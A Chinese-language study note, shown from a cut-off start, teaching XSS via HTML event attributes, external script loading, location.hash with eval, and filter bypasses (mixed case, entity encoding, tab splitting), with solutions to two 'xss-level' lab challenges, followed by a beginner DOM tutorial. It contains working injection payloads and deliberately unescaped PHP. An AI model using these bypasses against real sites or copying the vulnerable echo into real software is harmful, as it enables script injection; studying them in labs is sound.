	<input type="text"onchange="alert(1)">
</form>

我们输入一个字符回车就会弹窗

onkeydown事件属性

onkeydown事件会在用户按下一个键盘按键时发生
支持该事件的 HTML 标签

<a>, <acronym>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, 
<button>, <caption>, <cite>, <code>, <dd>, <del>, <dfn>, <div>, <dt>, <em>, 
<fieldset>, <form>, <h1> to <h6>, <hr>, <i>, <input>, <kbd>, <label>, <legend>, 
<li>, <map>, <object>, <ol>, <p>, <pre>, <q>, <samp>, <select>, <small>, 
<span>, <strong>, <sub>, <sup>, <table>, <tbody>, <td>, <textarea>, <tfoot>, 
<th>, <thead>, <tr>, <tt>, <ul>, <var>

下面是我的测试

<input>标签表单元素弹窗
代码

1
2
3

<form>
	<input type="text"onkeydown="alert(1)">
</form>

在输入框回车就弹窗了或者随便按一个键盘的键就触发了

onkeyup事件属性

onkeyup 事件会在键盘按键被松开时发生

支持该事件的 HTML 标签

<a>, <acronym>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, 
<button>, <caption>, <cite>, <code>, <dd>, <del>, <dfn>, <div>, <dt>, <em>, 
<fieldset>, <form>, <h1> to <h6>, <hr>, <i>, <input>, <kbd>, <label>, <legend>, 
<li>, <map>, <object>, <ol>, <p>, <pre>, <q>, <samp>, <select>, <small>, 
<span>, <strong>, <sub>, <sup>, <table>, <tbody>, <td>, <textarea>, <tfoot>, 
<th>, <thead>, <tr>, <tt>, <ul>, <var>

下面是我的测试

<input>标签表单元素弹窗

1
2
3

<form>
	<input type="text" onkeyup="alert(1)">
</form>

我输入任何一个东西松开的时候就会弹窗

onclick事件属性

onclick 事件会在对象被点击时发生。
支持该事件的 HTML 标签

<a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>, 
<caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>, 
<form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>, <legend>, 
<li>, <map>, <object>, <ol>, <p>, <pre>, <samp>, <select>, <small>, <span>, 
<strong>, <sub>, <sup>, <table>, <tbody>, <td>, <textarea>, <tfoot>, <th>, 
<thead>, <tr>, <tt>, <ul>, <var>

下面是我的测试

<a>标签定义超链接弹窗
代码

1	<a href="" onclick="alert(1)" >点我</a>

点击一下点我他就弹窗了

**<input>标签表单元素弹窗**
代码

1
2
3

<form>
	<input type="text" onclick="alert(1)">
</form>

点击输入框就弹窗了

<img>图片标签
代码

1	<img src="https://www.baidu.com/img/flexible/logo/pc/result.png" onclick="alert(1)" >

点击百度的照片他就会触发弹窗

onselect事件属性

onselect 事件会在文本框中的文本被选中时发生
支持该事件的 HTML 标签

1	<input type="text">, <textarea>

下面是我的测试

<input>标签表单元素弹窗
代码

1
2
3

<form>
	<input type="text" onselect="alert(1)">
</form>

我们选择他就弹窗了

oninput事件属性

oninput 事件在用户输入时触发

下面是我的测试

<input>标签表单元素弹窗
代码

1
2
3

<form>
	<input type="text" oninput="alert(1)">
</form>

输入一个a就弹窗了

onmousemove事件属性

onmousemove事件会在鼠标指针移到指定的对象时发生
支持不该事件的 HTML 标签

1	<base>, <bdo>, <br>, <head>, <html>, <iframe>, <meta>, <param>, <script>, <style>, and <title>.

下面是我的测试

<img>图片标签
代码

1	<img src="https://www.baidu.com/img/flexible/logo/pc/result.png" onmousemove="alert(1)" >

只要鼠标一碰就被执行

web引用js代码

语法

1	<script src="http://1.1.1.1/a.js"></script>

测试

web服务器代码是

<?php
	$str=$_GET["a"];
	echo "你输入的是".$str;
?>

调用js的代码是

alert(1)

我们这URL里面输入<script src="http://127.0.0.1/a.js"></script>
他就会弹窗

winodws.location.hash弹窗

winodws.location.hash介绍

比如我们URL地址输入是http://1.1.1.1/a.html#aaaaaa
winodws.location.hash就会取#aaaaaa值
实咧
代码
下面代码location.hash取的值输出出来
但是他前面有一个#我们可以用substr()方法取字符串

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>
	<script type="text/javascript">
		var  a=location.hash;
		var  b=location.hash.substr(1);
		console.log(a);
		console.log(b);
	</script>
</body>
</html>

我们在浏览器输入http://1.1.1.1/a.html#aaaaaa
结果可以看见叫#aaaaaa输出出来了
substr(1)方法叫#给去掉了

利用winodws.location.hash弹窗

我们测试

代码

<?php
	$str=$_GET["a"];
	echo "你输入的是".$str;
?>

我们在URL里面输入
eval()意思是并执行其中的的 JavaScript 代码

1	<script>eval(location.hash.substr(1));</script>#alert('1')

可以看见他弹窗了

绕过检查

`/`替换空格绕过检查

列如
onmousemove事件会在鼠标指针移到指定的对象时发生

1	<img/src="https://www.baidu.com/img/flexible/logo/pc/result.png"/onmousemove="alert(1)">

还是只要一碰一样能弹窗

大小写绕过检查

测试1
代码

1	<A HrEf="" onclick="alert(1)" >点我</a>

html是不区分大小写的他还是可以执行的

xss-level6

在xss-level6就是可以用大小写进行绕过
他的代码
他虽然过滤了都是没有进行大的过滤我们就可以进行大小写转换来绕过

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

输入的代码

1	'"><A HrEf="javascript:alert(1);" >点我</a>//

测试2

1	<A HrEf="JaVaScRiPt:alert(1)" >点我</a>

url也是不区分大小写的

无分号无引号

测试
代码

1	<a href=javascript:alert(1) >点我</a>

他也是可以弹窗的

编码绕过

参考https://www.fujieace.com/penetration-test/xss-100.html

字符串 	ASCLL	&#代表十进制 		&#x代表十六进制
A		65		&#65;				&#x41;

1	javascript:alert('a')

上面HTML编码后变成

1	javascript:alert('a')

最终代码

1	<a href="javascript:alert('a')">点我</a>

还是可以被执行的

还可以用换行和TAB来进行绕过

1 2	=TAB键 =回车

原代码

1	<a href="javascript:alert(1)" >点我</a>

编码后

1	<a href=" java sc rip t:aler t(1)" >点我</a>

上面这个还是可以被执行的应为在url里面是不区分回车和TAB键

更多查看这个原文件https://www.fujieace.com/penetration-test/xss-100.html

xss-level8

他过滤的比较严但是我们编码就可以绕过了
源代码
下面的代码几乎叫全部给过滤掉了，我们就利用编码绕过检查

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
	echo $str7;
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

1	javascript:alert('a')

HTML编码后变成

1	javascript:alert('a')

不用`javascript:`和`<SCRIPT...`绕过

有点网站会添加黑名单来实现过滤xss攻击
比如网站会过滤掉javascript:和<SCRIPT...
我们就可以用<body>标签在用onload 事件这个事件会在页面加载完成或执行一个js代码

1	<body onload=alert('a')>

JavaScriptDOM使用

在使用 JavaScript 编写 Web 代码时，有许多 Web API 可供调用。下面是开发Web应用程序或网站时可能使用的所有API和接口（对象类型）的列表。

官方文档[https://developer.mozilla.org/zh-CN/docs/Web/api][https://developer.mozilla.org/zh-CN/docs/Web/api]

DOM介绍

比如a.html这个a.html就是一个文档对象
下面这个是文档对象的模型

document对象就代表整个网页的对象

`document`的对象方法

方法	描述
`document.getElementById()`	返回对拥有指定 id 的第一个对象的引用
`document.getElementsByTagName()`	通过标签名获得一组元素点对象
`document.getElementsByClassName()`	通过class类名得一组元素对象
`document.getElementsByName()`	通过name属性获得一组元素对象
`document.querySelector()`	html5新增的根据选择器返回第一个元素的对象
`document.querySelectorAll()`	html5新增的根据选择器指定返回对象
`document.documentElement`	获得html标签
`document.body`	获得body标签
`document.close()`	关闭用 document.open() 方法打开的输出流，并显示选定的数据
`document.open()`	打开一个流，以收集来自任何 document.write() 或 document.writeln() 方法的输出。
`document.write()`	向文档写 HTML 表达式或 JavaScript 代码
`document.writeln()`	等同于 write() 方法，不同的是在每个表达式之后写一个换行符

获得节点

根据id获得节点

getElementById方法

getElementById() 方法可返回对拥有指定 ID 的第一个对象的引用
语法

参数 id是大小写敏感的字符串

返回的是一个元素对象

1	document.getElementById("id的值")

实咧
下面p标签里面的一个id属性值是a我们可以用getElementById() 来获取p标签

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>
    <!--主要代码在这里-->
    <p id="a">你好啊</p>
    <script type="text/javascript">
        var a = document.getElementById("a")
        console.log(a);
    </script>
</body>
</html>

如果我们想查看里面和修改我们就可以用
document的getElementById方法的

代码

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>
    <!--主要代码在这里-->
    <p id="a">你好啊</p>
    <script type="text/javascript">
        var a = document.getElementById("a");
        console.log(a.innerHTML);
    </script>
</body>
</html>

结果

如果我们想修改他很简单

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>
    
    <p id="a">你好啊</p>
    <script type="text/javascript">
        var a = document.getElementById("a");
        //主要代码在这里
    	a.innerHTML="不好";
    	console.log(a);
    </script>
</body>
</html>

结果

根据标签元素获得节点

getElementsByTagName()方法

基本使用

getElementsByTagName()通过标签名获得一组元素点对象
下面这个h1就是标签名
我们就可以用getElementsByTagName()来获取他getElementsByTagName("h1")

1	<h1>1</h1>

咧
下面应为他获取到的是一个数组

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<h1>111</h1>
<h1>222</h1>
<h1>333</h1>
<h1>444</h1>
<h1>555</h1>
<h1>666</h1>

<script type="text/javascript">

	var a = document.getElementsByTagName("h1");
	
	//应为他获取出来的是数组
	console.log(a[0]);
	
</script>
</body>
</html>

套娃使用

这个套娃使用就是下面代码

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>
	<table>
		<tr>
			<td>1</td>
			<td>2</td>
			<td>3</td>
			<td>5</td>
		</tr>
	</table>

<script>

	var a = document.getElementsByTagName("tr"); //获取tr的全部内容，返回的是一个数组
	var b = a[0].getElementsByTagName("td"); //获取a的下面的td子元素
	//应为他获取出来的是数组
	console.log(a[0]);
	console.log(b[0]);
</script>
</body>
</html>

结果

通过类名来获得节点

getElementsByClassName()方法

document.getElementsByClassName()通过class类名得一组元素对象

代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<div class="down">1</div>
	<div class="down">2</div>
	<div class="down">3</div>
	
	<script>
		var up_forms = document.getElementsByClassName('down'); //返回是一个数组
		console.log(up_forms[0]); 
	</script>
</body>
</html>

结果

根据Name名获得节点

getElementsByName()方法

getElementsByName() 方法可返回带有指定名称的对象的集合
该方法与 getElementById() 方法相似，但是它查询元素的 name 属性，而不是 id 属性。

咧

-->
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<form>
	<input type="text" name="a" value="admin" >
	<input type="text" name="a"  value="passwd" >
</form>

<script type="text/javascript">

	var a = document.getElementsByName("a");
	
	//输出来的是数组
	console.log(a);
	//应为他获取出来的是数组，要是行查询里面的属性，添加.属性名
	console.log(a[0].value);
</script>
</body>
</html>

通过选择器获取节点

html5新增的

选择器	描述
	里面什么都不加就是标签选择器
`.`	是一个类选择器
`#`	是id名选择器

querySelector()方法

querySelector()方法根据选择器返回第一个元素的对象

他只返回第一个对象

标签选择器演示

里面什么都不加就是标签选择器

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<div>1</div>

	
	<script>
		var up_forms = document.querySelector('div'); //里面什么都不加就是标签选择器
		console.log(up_forms); //他只返回第一个对象
	</script>
</body>
</html>

结果

.演示

.是一个类选择器

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<div class="down">1</div>
	<div class="down">2</div>
	<div class="down">3</div>
	
	<script>
		var up_forms = document.querySelector('.down'); //选择down类
		console.log(up_forms); //他只返回第一个对象
	</script>
</body>
</html>

结果：可以看见他只有一个结果

#演示

#是id名选择器

代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<div id="down">1</div>

	
	<script>
		var up_forms = document.querySelector('#down'); //选择down的id
		console.log(up_forms); //他只返回第一个对象
	</script>
</body>
</html>

结果

querySelectorAll()方法

querySelectorAll()方法根据选择器指定返回对象

标签选择器演示

里面什么都不加就是标签选择器

代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>


	<h1>111</h1>
	<h1>222</h1>
	<h1>333</h1>
	<h1>444</h1>
	<h1>555</h1>
	<h1>666</h1>
	
	<script>
		var up_forms = document.querySelectorAll('h1'); //里面什么都不加就是标签选择器
		console.log(up_forms[3]);  //他返回的是一个数组。指定输出3
	</script>
</body>
</html>

结果

.演示

.是一个类选择器

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>


	<div class="down">1</div>
	<div class="down">2</div>
	<div class="down">3</div>
	
	<script>
		var up_forms = document.querySelectorAll('.down')//选择down类
		console.log(up_forms[2]); //他返回的是一个数组。指定输出2
	</script>
</body>
</html>

结果

获得`<html>`和`<head>`标签

视频https://www.bilibili.com/video/BV1k4411w7sV?p=9

<html>和<head>标签都是特殊标签我们就可以用下面的方式获取

documentElement方法获得`<html>`

演示代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>


	<div class="down">1</div>
	<div class="down">2</div>
	<div class="down">3</div>
	
	<script>
		var up_forms = document.documentElement;
		console.log(up_forms); 
	</script>
</body>
</html>

结果

body方法获得`<head>`

演示代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>


	<div class="down">1</div>
	<div class="down">2</div>
	<div class="down">3</div>
	
	<script>
		var up_forms = document.body;
		console.log(up_forms); 
	</script>
</body>
</html>

结果

获得事件三要素

事件源

事件触发的对象就是事件源，比如按钮

事件类型

如何触发什么事件比如鼠标点击(onclick) 还是鼠标经过还是键盘按下

事件处理程序

通过一个函数赋值的方式完成

下面代码里面有说明

代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<button id='abc'>点击我</button> 
	
	<script>
		// 1.btu是事件源：事件触发的对象就是事件源，比如按钮
		var btn =  document.getElementById("abc") 
		
		// 2.onclick是事件类型：如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过 还是键盘按下
		btn.onclick =function(){ //3. function事件处理程序通过一个函数赋值的方式 完成
			alert('测试');
		}
		
	</script>
</body>
</html>

　结果

元素操作

innerText和innerHTML

方法	描述
innerText	打印标签之间的纯文本信息，显示标签，标签无效，低版本的火狐浏览器不支持
innerHTML	在控件中加html代码 ,就是设置一个元素里面的HTML,标签对文本信息有效象
disabled	如果想禁用表单按钮就可以用这个

innerText

打印标签之间的纯文本信息，显示标签，标签无效，低版本的火狐浏览器不支持

直接说可能听不懂下面演示一下

演示修改元素里面的内容

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<button>点击我修改下面内容</button> 
	<h1>你好</h1>
	<script>
		// 1.btu是事件源：事件触发的对象就是事件源，比如按钮
		var btn = document.querySelector('button'); 
		var h1 = document.querySelector('h1'); 
		
		// 2.onclick是事件类型：如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过 还是键盘按下
		btn.onclick =function(){ //3. function事件处理程序通过一个函数赋值的方式 完成
			h1.innerText = '你的是sb'; //叫h1标签内容修改成你的是sb
		}
		
	</script>
</body>
</html>

结果

innerHTML

在控件中加html代码 ,就是设置一个元素里面的HTML,标签对文本信息有效象

直接说可能听不懂下面演示一下

演示修改元素里面的内容

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<button>点击我修改下面内容</button> 
	<h1>你好</h1>
	<script>
		// 1.btu是事件源：事件触发的对象就是事件源，比如按钮
		var btn = document.querySelector('button'); 
		var h1 = document.querySelector('h1'); 
		
		// 2.onclick是事件类型：如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过 还是键盘按下
		btn.onclick =function(){ //3. function事件处理程序通过一个函数赋值的方式 完成
			h1.innerHTML = '你的是sb'; //叫h1标签内容修改成你的是sb
		}
		
	</script>
</body>
</html>

结果可以看见和innerText

innerText和innerHTML的区别

innerText是不识别html标签的，他不是一个标准，低版本的火狐浏览器不支持

innerHTML是识别html标签的，他是一个W3C标准

演示他俩的区别

演示1innerText

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<button>点击我修改下面内容</button> 
	<div>你好</div>
	<script>
		// 1.btu是事件源：事件触发的对象就是事件源，比如按钮
		var btn = document.querySelector('button'); 
		var div = document.querySelector('div'); 
		
		// 2.onclick是事件类型：如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过 还是键盘按下
		btn.onclick =function(){ //3. function事件处理程序通过一个函数赋值的方式 完成
			div.innerText = '<h1>你的是sb</h1>'; //叫div标签内容修改成<h1>你的是sb</h1>
		}
		
	</script>
</body>
</html>

结果：可以看见标签也被打印出来了，是不识别html标签的

演示2innerHTML

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<button>点击我修改下面内容</button> 
	<div>你好</div>
	<script>
		// 1.btu是事件源：事件触发的对象就是事件源，比如按钮
		var btn = document.querySelector('button'); 
		var div = document.querySelector('div'); 
		
		// 2.onclick是事件类型：如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过 还是键盘按下
		btn.onclick =function(){ //3. function事件处理程序通过一个函数赋值的方式 完成
			div.innerHTML = '<h1>你的是sb</h1>'; //叫div标签内容修改成<h1>你的是sb</h1>
		}
		
	</script>
</body>
</html>

结果：可以看见标签识别了，变成了标签

innerText和innerHTML获取元素内容和区别

代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<p>
        我是文字
        <span>123</span>
    </p>
	<script>
		// 1.btu是事件源：事件触发的对象就是事件源，比如按钮
		var btn = document.querySelector('p'); 
		console.log(btn.innerText) //innerText获取p元素内容
		console.log(btn.innerHTML) //innerHTML获取p元素内容
		
	</script>
</body>
</html>

结果：

innerText可以看见标签也被打印出来了，是不识别html标签的

innerHTML可以看见标签识别了，变成了标签，可以看见空格和换行也显示了

获得元素属性的值

下面我演示一下获取上传文件的名字

代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<form>
		<input  type='file'/>
		<br/>
		<input type="submit"  value='点击提交'/>
	</form>
	
	<script>
		// 1.btu是事件源：事件触发的对象就是事件源，比如按
		var btn =  document.querySelectorAll('input'); 
; 
		// 2.onclick是事件类型：如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过 还是键盘按下
		btn[1].onclick = function(){  //3. 数组1是提交按钮function事件处理程序通过一个函数赋值的方式 完成
			alert(btn[0].value); //value是定义input元素的默认值文件上传路径会给value
		}
		
	</script>
</body>
</html>

结果

修改元素的属性

比如我们修改src属性和href属性

格式

1 2	var btn = document.getElementById("id值") //我这个只是用getElementById来演示其他的也是一样的 btn.属性名=要修改的内容，比如btn.href='xxx'

演示修改src

叫src内容修改成https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>
	<img src=''/>
	<button>点击我显示照片</button> 
	
	<script>

		var btn =  document.querySelector('button'); 
		var img =  document.querySelector('img'); 
		
		btn.onclick =function(){ 
			img.src='https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png'; //叫src内容修改成https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png
		}
		
	</script>
</body>
</html>

结果

disabled

如果想禁用表单按钮就可以用这个

演示：下面就只能让按钮点击一次然后禁用他

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<button>点击一次禁用</button> 
	
	<script>
		// 1.btu是事件源：事件触发的对象就是事件源，比如按
		var btn =  document.querySelector('button'); 
; 
		// 2.onclick是事件类型：如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过 还是键盘按下
		btn.onclick = function(){  //3. function事件处理程序通过一个函数赋值的方式 完成
			btn.disabled = true; //btn.disabled设置成true就被禁用
		}
		
	</script>
</body>
</html>

结果

我们其实可以用this.disabled禁用当前按钮

代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>

<body>

	<button>点击一次禁用</button> 
	
	<script>
		// 1.btu是事件源：事件触发的对象就是事件源，比如按
		var btn =  document.querySelector('button'); 
; 
		// 2.onclick是事件类型：如何触发 什么事件 比如鼠标点击(onclick) 还是鼠标经过 还是键盘按下
		btn.onclick = function(){  //3. function事件处理程序通过一个函数赋值的方式 完成
			this.disabled = true; //禁用当前事件的按钮
		}
		
	</script>
</body>
</html>

结果是一样的

HTML术语

常用属性

HTML 基础

HTML字体

可选的属性

HTML 标题

HTML 段落

HTML 链接

HTML 图像

HTML 文本格式化标签

HTML 超链接（链接）

HTML 图像

显示图像

背景图片

HTML 表格

border边框属性

<tr>和<td>

HTML表单

<form>标签

表单定义

action属性指定叫表单提交那

method属性指定get或post

target属性添加在另外一个窗口打开

enctype属性

<input>标签常见的属性

<input>标签的type属性

“button” | 按钮

“submit” 提交按钮

“radio” 单选框

“checkbox” 定义复选框

“text” 文本

“file” 文件

“date” 日期

<input>标签的name属性

<label>元素的说明

<select>选项组和<option>下拉列表中的选项

<textarea> 文本域

CSS基础

<style>标签介绍

CSS的3种导入方式

外部样式导入

内部样式

行内样式：在标签元素中

选择器

类选择器

定义类

调用

JavaScript基础

JavaScript常用方法

substring()

例子 1

例子 2

lastIndexOf()

indexOf()

定义javascript

输出

alert()和window.alert()弹出警告窗

document.write()在页面中打印

console.log()向控制台输出

变量

数据类型

类型强行转换

转换成字符串

toString()方法转

String()函数转

String()函数和toString()方法区别

字符转换数字

Number()函数进行转换

parseInt()和函数

其他进制数

运算符

算术运算符

赋值运算符

逻辑运算符

比较运算符

三元运算符

Unicode编码

if语句

switch语句

循环语句

`<tr>`和`<td>`

`<form>`标签

`<input>`标签常见的属性

`<input>`标签的type属性

`<input>`标签的name属性

`<label>`元素的说明

`<select>`选项组和`<option>`下拉列表中的选项

`<textarea>` 文本域

`<style>`标签介绍

超链接`<a>`标签弹窗

载入图形`<img>`标签弹窗